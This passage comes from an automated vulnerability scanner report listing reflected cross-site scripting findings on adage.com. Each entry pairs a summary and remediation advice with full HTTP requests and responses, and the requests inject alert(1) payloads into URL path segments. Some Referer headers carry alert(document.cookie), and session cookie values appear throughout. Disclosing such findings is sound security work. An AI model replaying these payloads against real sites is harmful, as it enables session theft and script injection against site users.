GET /imagesa5c92"-alert(1)-"cb2c71b711b/covers/current_thumb.jpg?1300056832 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:43 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=191CDE704A46CFFE0C400A37ED239C681DDEE28C; path=/
Set-Cookie: HMAC=DC6AD1D1C256DC07F58CFB68C0C2F27CF25B33D6; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33846

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
pc="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1300056832";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/imagesa5c92"-alert(1)-"cb2c71b711b/covers/current_thumb.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms
...[SNIP]...

1.65. http://adage.com/images/covers/current_thumb.jpg [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/covers/current_thumb.jpg

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1a12c"-alert(1)-"4271a5f1d4f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/covers1a12c"-alert(1)-"4271a5f1d4f/current_thumb.jpg?1300056832 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:55 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=2F4123F2C652BC89723BE3FEC2360607D6849C7F; path=/
Set-Cookie: HMAC=1F25D1A6040B3F0BE7C5C55EA4A3760AA02F34AC; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33846

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1300056832";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/covers1a12c"-alert(1)-"4271a5f1d4f/current_thumb.jpg"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";

...[SNIP]...

1.66. http://adage.com/images/covers/current_thumb.jpg [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/covers/current_thumb.jpg

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d1087"-alert(1)-"d1a27ca9b81 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/covers/current_thumb.jpgd1087"-alert(1)-"d1a27ca9b81?1300056832 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:12 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=311750A6636CFD5FEA45AA7F3596DCC73E491B12; path=/
Set-Cookie: HMAC=312F43CC8AC8440E18570A23A2048C3D79EB4F42; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33960

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1300056832";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/covers/current_thumb.jpgd1087"-alert(1)-"d1a27ca9b81"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.67. http://adage.com/images/menus/menu_image_9.png [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/menus/menu_image_9.png

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload feb6e"-alert(1)-"8c66340bda9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /imagesfeb6e"-alert(1)-"8c66340bda9/menus/menu_image_9.png?1291744533 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:46 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=BCA9484DBEF98EE34C61E7582C0AD2C8591FC542; path=/
Set-Cookie: HMAC=6A7DEECC131A7D0672FDB193EB4790DEF1506307; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33844

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
pc="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1291744533";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/imagesfeb6e"-alert(1)-"8c66340bda9/menus/menu_image_9.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.
...[SNIP]...

1.68. http://adage.com/images/menus/menu_image_9.png [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/menus/menu_image_9.png

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d2f7a"-alert(1)-"82e67939b6f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/menusd2f7a"-alert(1)-"82e67939b6f/menu_image_9.png?1291744533 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:59 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=43188ADB3596F5B8419583A3335FAC7F3B24AD49; path=/
Set-Cookie: HMAC=73B31C14B459B555E5FAF6C2BD3FEEE0E012D7E9; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33844

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
X0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1291744533";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/menusd2f7a"-alert(1)-"82e67939b6f/menu_image_9.png"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
h
...[SNIP]...

1.69. http://adage.com/images/menus/menu_image_9.png [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /images/menus/menu_image_9.png

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fe75a"-alert(1)-"0f6d44f4bf8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /images/menus/menu_image_9.pngfe75a"-alert(1)-"0f6d44f4bf8?1291744533 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:51:17 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=F7C0E48FF2BF448C4EA5A91833BF26BFC60A931C; path=/
Set-Cookie: HMAC=2B915FFA4E4C8A7A1039BFC6BC9D54531A4D2166; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33958

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
hg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1291744533";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/images/menus/menu_image_9.pngfe75a"-alert(1)-"0f6d44f4bf8"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.70. http://adage.com/power150/badge-generate.php [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /power150/badge-generate.php

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 28d92"-alert(1)-"466ac374886 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /power15028d92"-alert(1)-"466ac374886/badge-generate.php?id=619 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://www.revenews.com/ctmoore/google-moves-to-corral-newspapers-into-newspass/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:14:20 GMT
Server: Apache
Set-Cookie: ADAGESESS=14a8bd98c85c7c4b2d27a73879f7175f; path=/; domain=.adage.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ADAGESESS=1f59e66317f2f9d1ff3ffc4da610aea2; path=/; domain=.adage.com
Set-Cookie: HMAC=F6666FA127E4E5B2035893E37C3BE383B3095DBE; path=/
Set-Cookie: HMAC=BBFA53A5E14F783E59B660468EFA44C34EF114F0; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33746

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
.vpc="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?id=619";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/power15028d92"-alert(1)-"466ac374886/badge-generate.php"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
...[SNIP]...

1.71. http://adage.com/power150/badge-generate.php [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /power150/badge-generate.php

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1479c"-alert(1)-"b88b700932e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /power150/badge-generate.php1479c"-alert(1)-"b88b700932e?id=619 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://www.revenews.com/ctmoore/google-moves-to-corral-newspapers-into-newspass/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:14:31 GMT
Server: Apache
Set-Cookie: ADAGESESS=581000de82244ec837a3a6b560e27afc; path=/; domain=.adage.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ADAGESESS=87f3cf553d1fdf24c74732fb49f5e6c4; path=/; domain=.adage.com
Set-Cookie: HMAC=628DB58B61B5E16A7BAFB478670832FD62AB083F; path=/
Set-Cookie: HMAC=408B821A1163F5F291BDEEB6ED8984DB3C5E5D02; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33746

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?id=619";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/power150/badge-generate.php1479c"-alert(1)-"b88b700932e"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.72. http://adage.com/scripts/aa-jquery.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /scripts/aa-jquery.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d8de4"-alert(1)-"0ed5cdea8f4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /scriptsd8de4"-alert(1)-"0ed5cdea8f4/aa-jquery.js?1300116887 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:39 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=667391D95B153C4B686B0EB8C724D15FF82460B8; path=/
Set-Cookie: HMAC=7C3E41D7FFA7AF1673DA077C83BE92AAC465CF35; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33835

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
c="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1300116887";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/scriptsd8de4"-alert(1)-"0ed5cdea8f4/aa-jquery.js"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.d
...[SNIP]...

1.73. http://adage.com/scripts/aa-jquery.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /scripts/aa-jquery.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e6063"-alert(1)-"83b966f3ad1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /scripts/aa-jquery.jse6063"-alert(1)-"83b966f3ad1?1300116887 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:50 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=5D0A1ACC7C179D44E56E6D67C2FBF9DDC8295721; path=/
Set-Cookie: HMAC=E2102FBBA0BFC373527F5443962B04C6EF8F9021; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33835

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1300116887";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/scripts/aa-jquery.jse6063"-alert(1)-"83b966f3ad1"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.dft="y";
hbx.e
...[SNIP]...

1.74. http://adage.com/scripts/javascript.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /scripts/javascript.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 89d8f"-alert(1)-"5e63ab52e4e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /scripts89d8f"-alert(1)-"5e63ab52e4e/javascript.js?1299112644 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ADAGESESS=1a895497ace912c41e8e38adcbe091da; HMAC=B48A1BF9C411063A0CEB810FF7161FAD234D2012

Response

HTTP/1.1 404 Not Found
Date: Wed, 16 Mar 2011 19:50:44 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: HMAC=9534EE18AF61EECCF3365AE50E2FB31589813E71; path=/
Set-Cookie: HMAC=3FD1A5BB3B7AF5D4813569819AFFAB975ED9CAAC; path=/
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 33836

<!DOCTYPE html>

<html lang="en" xmlns:og="http://opengraphprotocol.org/schema/">

<head profile="http://a9.com/-/spec/opensearch/1.1/">

<title>Oops! - Advertising Age</title>

<meta name="robots" co
...[SNIP]...
c="HBX0100u";hbx.gn="ehg-crain.hitbox.com";

//CONFIGURATION VARIABLES
hbx.acct    = "DM530303F9CM83EN3";
hbx.pn        = "404.php?1299112644";//THIS IS THE UNIQUE PAGE IDENTIFIER
hbx.mlc    = "adage.com/scripts89d8f"-alert(1)-"5e63ab52e4e/javascript.js"; //THIS IS THE UNIQUE PAGE LOCATION IDENTIFIER
hbx.pndef    = "title";
hbx.ctdef    = "full";

//OPTIONAL PAGE VARIABLES
//ACTION SETTINGS
hbx.fv="";
hbx.lt="none";
hbx.dlf="!.cms,.js";
hbx.
...[SNIP]...

1.75. http://adage.com/scripts/javascript.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://adage.com
Path:   /scripts/javascript.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5aff8"-alert(1)-"583d5843b81 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /scripts/javascript.js5aff8"-alert(1)-"583d5843b81?1299112644 HTTP/1.1
Host: adage.com
Proxy-Connection: keep-alive
Referer: http://adage.com/power15028d92%22-alert(document.cookie)-%22466ac374886/badge-generate.php?id=619
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
